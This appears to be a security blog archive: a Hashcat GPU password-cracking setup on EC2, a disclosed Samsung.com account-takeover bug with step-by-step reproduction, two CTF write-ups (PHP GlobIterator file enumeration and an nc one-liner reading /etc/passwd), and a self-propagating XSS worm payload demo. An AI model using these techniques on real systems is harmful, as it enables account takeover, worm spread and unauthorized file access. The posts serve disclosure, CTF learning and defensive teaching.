Amazon EC2 instances are a nice way to do some powerful password cracking if you don’t have better options available. While it may not be the cheapest route you can get a nice high powered Tesla GPU cracking machine going for ~0.60$ per hour at the time of this writing.

The biggest annoyance is setting up the drivers and getting Hashcat on the machine. The time it takes for you to debug Nvidia driver issues and other dependencies takes away from what could be cracking time! In order to fix this issue I’ve created a bash script based off of the blog post here and updated it with all the latest drivers/hashcat version.

Quick Setup Instructions

First, log in to your Amazon EC2 management console.

Spot Requests > [ Request Spot Instances ] > Communit Market AMIs > Search for “ami-4fad7426″ or “ubuntu 11.10 hvm” > Select > All instance types > All instance types > Next: Configure Instance Details > Set Maximum Price (see current going rates and decide for yourself what you can pay) > Review and Launch > Launch

One your spot instance has been fulfilled, SSH into the box by doing “ssh -l ubuntu -i key.pem AMAZON_EC2_IP” and run the quick setup bash script.

The Bash script:

# ami-4fad7426
# Must be run as root (obviously)
sudo apt-get update
sudo apt-get install gcc g++ build-essential linux-headers-`uname -r`
sudo apt-get install freeglut3 freeglut3-dev p7zip-full
wget http://developer.download.nvidia.com/compute/cuda/5_0/rel-update-1/installers/cuda_5.0.35_linux_64_ubuntu11.10-1.run
chmod a+x cuda_5.0.35_linux_64_ubuntu11.10-1.run
sudo sh ./cuda_5.0.35_linux_64_ubuntu11.10-1.run --verbose
sudo echo "PATH=\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/bin/cuda\"" | sudo tee /etc/environment
sudo echo "/usr/local/cuda/lib64" | sudo tee -a /etc/ld.so.conf.d/cuda.conf
sudo echo "/usr/local/cuda/lib" | sudo tee -a /etc/ld.so.conf.d/cuda.conf
sudo ldconfig
cd /usr/local/cuda/samples/1_Utilities/deviceQuery
sudo make
sudo ./deviceQuery
cd ~
wget http://us.download.nvidia.com/XFree86/Linux-x86_64/319.76/NVIDIA-Linux-x86_64-319.76.run
chmod +x NVIDIA-Linux-x86_64-319.76.run
sudo ./NVIDIA-Linux-x86_64-319.76.run
wget http://hashcat.net/files/oclHashcat-1.01.7z
7za x oclHashcat-1.01.7z

You should now have a nice ready to use Hashcat cracking box!

Output of my running instance:

[s]tatus [p]ause [r]esume [b]ypass [q]uit => s
Session.Name...: cudaHashcat
Status.........: Running
Input.Mode.....: Mask (?1?2?2?2?2?2?2?3) [8]
Hash.Target....: File (crackme.txt)
Hash.Type......: MD5
Time.Started...: Fri Jan 24 15:38:13 2014 (35 mins, 24 secs)
Time.Estimated.: Fri Jan 24 16:23:37 2014 (8 mins, 44 secs)
Speed.GPU.#1...:  1044.8 MH/s
Speed.GPU.#2...:  1046.0 MH/s
Speed.GPU.#*...:  2090.7 MH/s
Recovered......: 3/7 (42.86%) Digests, 0/1 (0.00%) Salts
Progress.......: 4437019983872/5533380698112 (80.19%)
Rejected.......: 0/4437019983872 (0.00%)
HWMon.GPU.#1...: 99% Util, -1c Temp, -1% Fan
HWMon.GPU.#2...: 99% Util, -1c Temp, -1% Fan

Be kind, warm up those chilly folks at Amazon a few degrees with your GPU cracking 😉

Need some word lists?

https://wiki.skullsecurity.org/Passwords

http://www.teamctfu.com/wordlist.html

First of all let me say this: Hurray! They fixed it!

After contacting Samsung multiply times I thought they’d completely blown me off in fixing this bug but it looks patched (hopefully!).

EDIT: Samsung contacted me and said thanks for the report of the vulnerability. They seemed sincerely interested in fixing the problem – quite the opposite of my initial impression with them (their initial impression of me must’ve been odd considering I’m pretty sick with a cold at the time of this writing).

The Vulnerability

All Samsung.com accounts can be taken over due to an issue with character removal after authentication. When you register at http://samsung.com/ you can add extra spaces to the end of your account name and it will be registered as a separate account altogether. Alone this is not a big issue (other than perhaps spamming an email address by making multiple accounts with additional spaces after them). However, upon navigating to a Samsung subdomain such as http://shop.us.samsung.com/ these trailing spaces are scrubbed from your username. Once this happens and you navigate back to Samsung.com you are authenticated as just a regular email address without any trailing spaces – effectively taking over your target’s account.

So if your username was originally “[email protected]”, after visiting http://shop.us.samsung.com/ it would be scrubbed to “[email protected]”.

Apparently scrubbing isn't always a good thing

Apparently scrubbing isn’t always a good thing

(the security puns don’t get worse than that!)

__

More Detailed instructions (Now patched, at least for shop.us.samsung.com):

  1. Register an account at Samsung.com with the email address of a target, use Tamper Data or another HTTP intercept tool and add trailing spaces to the username.

  2. Complete the account registration process

  3. Navigate to “shop.us.samsung.com”, ex: http://shop.us.samsung.com/store?Action=DisplayCustomerServiceOrderSearchPage&Locale-en_US&SiteID=samsung

  4. Navigate back to the main Samsung.com domain, ex: http://www.samsung.com/us/topic/galaxy-note-10-1-2014-edition

  5. Proceed to attempt to add items to your cart and go to checkout page

  6. Notice the account details and cards on file are those of your target 😉

Sadly because this isn’t a Samsung TV there is no bug bounty for this exploit, but oh well.

 Proof of Concept Video

This is a story about how I won hack you 2014’s Web 400 challenge the wrong way.

Selection_043

Using only this part of the code I was able to get the key:

<?php
include 'config.php';
include 'classes.php';
$action = (isset($_REQUEST['action'])) ? $_REQUEST['action'] : 'View';
$param = (isset($_REQUEST['param'])) ? $_REQUEST['param'] : 'index';
$page = new $action($param);
echo $page;
?>

thought the correct answer had to do with using an internal PHP class and passing it a single argument.

So I searched through the PHP docs for a class with the following:

  • valid/useful toString method
  • requires only one input
  • native on all PHP installs

After my eyes starting bleeded I had two pretty usable internal classes:

With SplFileObject I can read the first line of any file I specify – which is pretty neat but turned out to be unneeded. As it turns out GlobIterator was good enough to win this challenge.

After doing the following I found the key just sitting in the root directory (waiting for me, daww):

Selection_041

Which gave me:

Selection_040

But why?

GlobIterator will return the first file in a directory if you just pass it a path as a single argument. This is neat because I can enumerate all files in a directory by doing:

http://127.0.0.1/web400/index.php?param=/a*&action=GlobIterator

http://127.0.0.1/web400/index.php?param=/b*&action=GlobIterator

http://127.0.0.1/web400/index.php?param=/c*&action=GlobIterator

etc…

Until I find all files in a directory.

I didn’t have to actually write that script because ASCII ‘C’ was first before other files so it just worked with “param=/*”

There’s probably a lesson here about unintended features or something but I’m too tired to think of it.

It was only afterwards that I was told this wasn’t the actually way to do it. Oops!

Well, it’s been awhile since I’ve crashed Firefox due to insane JavaScript usage so I thought I’d write another blog post.

I recently released a new feature for xssless which allows you to make the payload POST itself. Meaning that you can very easily make payloads that will spread themselves via JavaScript to unsuspecting viewers of your unsanitized input.

Example Usage of Self Propagation Feature

So I’ve created for us a little playground to practice our XSS magic. We’ll view it in Firefox with Burp proxy as our middleman (xssless takes Burp traffic exports as input).

Selection_023

Notice how I’ve added a little test to see if the input is unsanitized (gee I wonder?!)

Selection_024

…and would you look at that…

Selection_025

…the page appears to be vulnerable to persistent XSS!

Great, so let’s generate a self-propagating payload using xssless.

We select this request in Burp:

Selection_026

Export it for xssless:

Selection_027

Now we run it through xssless:

mandatory@mandatorys-box:~/Programming/xssless$ ./xssless.py -m=metalist.txt xssland 

                      .__                        
___  ___  ______ _____|  |   ____   ______ ______
\  \/  / /  ___//  ___/  | _/ __ \ /  ___//  ___/
 >    <  \___ \ \___ \|  |_\  ___/ \___ \ \___ \ 
/__/\_ \/____  >____  >____/\___  >____  >____  >
      \/     \/     \/          \/     \/     \/ 
               The automatic XSS payload generator
                     By mandatory (Matthew Bryant)
    https://github.com/mandatoryprogrammer/xssless



Notice that we’ve used the -m option which specifies what POST fields to replace with our payload. In the file we specified the “content” field and the payload was adjusted accordingly.

Now, this line right here:

doRequest('/xssland/index.php', 'POST', 'content=%3Cscript%3Em()%3B' + encodeURIComponent(m.toString()) + '%3C%2Fscript%3E');

This is where the magic happens. The “content” field is set to equal:

%3Cscript%3Em()%3B' + encodeURIComponent(m.toString()) + '%3C%2Fscript%3E'

Which is URL encoded:

'

JavaScript has the neat ability which allows you to take entire functions and turn them into strings. Which is being done by the “m.toString()” part of the code. Then the “encodeURIComponent()” function is used to make the function content safe for transport by URL encoding it.

But enough explaining, let’s see this in action!

Selection_028

Selection_031

Cool, but did it work?

Selection_030

It did! Notice have we have the initial POST and the response but then we get another POST right afterwards (followed by a response for that POST).

Perfect but I don’t think I’ve really conveyed how out of hand things can get. Let’s refresh the page shall we?

Selection_032

Interesting, so now without doing any form submitting we have two POST requests that run in the background. Which, of course, makes sense. We have our initial payload doing a POST and the payload it posted doing a POST as well.

For those folks keep track at home, that means we will double the amount of payloads on the page every pageview.

After another refresh:

Selection_033

That’s four POST requests being preformed (asynchronously by the way, so they are all being done at once).

A few more refreshes:

Selection_034

Oh boy…things are starting to get out of hand…

Selection_035

After only a few refreshes of the page our database has grown quite a bit!

Selection_036

Bonus points for anyone who figures out how many page refreshes I did to get that many posts in the database 😉

So, in conclusion, we see that JavaScript worms can be very dangerous indeed. Many people write off XSS as a low-risk issue but when situations like this occur it would take a very little amount of time to take even the largest site and grind it to a halt. Not to mention the denial of service attack is being preformed by the users themselves (while they remain non-the-wiser)! This payload only posted itself, imagine if it also preformed another action – like sending a penny to a bank account, or sending a message to your friends on the site!

Folks, be sure to sanitize that input, do your part in defending against super-neato attacks like this one.

Until next time,

-mandatory

Oh man, I wish I had more time to spent on this CTF but work/other stuff got in the way.

I post this challenge mostly because it was really funny to me, and kinda technical (what more could a nerd ask for?). Due to this challenge not being incredibly complicated I’m just going to post my process in pictures and explain it at the end.

The Challenge

Selection_019

Selection_011

Selection_012

Selection_013

Selection_014

Selection_015

Selection_016

Selection_017

Selection_018

mandatory@mandatorys-box:~$ python -c "print 'A' * 32 + '/etc/passwd' + '\x00'" | nc 88.198.89.218 1024

Basically, I absent mindedly filled the first input with a bunch of “A”s (thinking this was a stack overflow thing) and overflowed the filename. After I figured out what was happening I padded with 32 bytes and added a filename (/etc/passwd) and a null byte to terminate the string. Tada, we have a printout of the /etc/passwd file with the key in it. This exploits what was supposed to show the doge face from “ascii_art_doge_color.txt” and instead showed the /etc/passwd file.

Wow. Much challenge. Very Binary.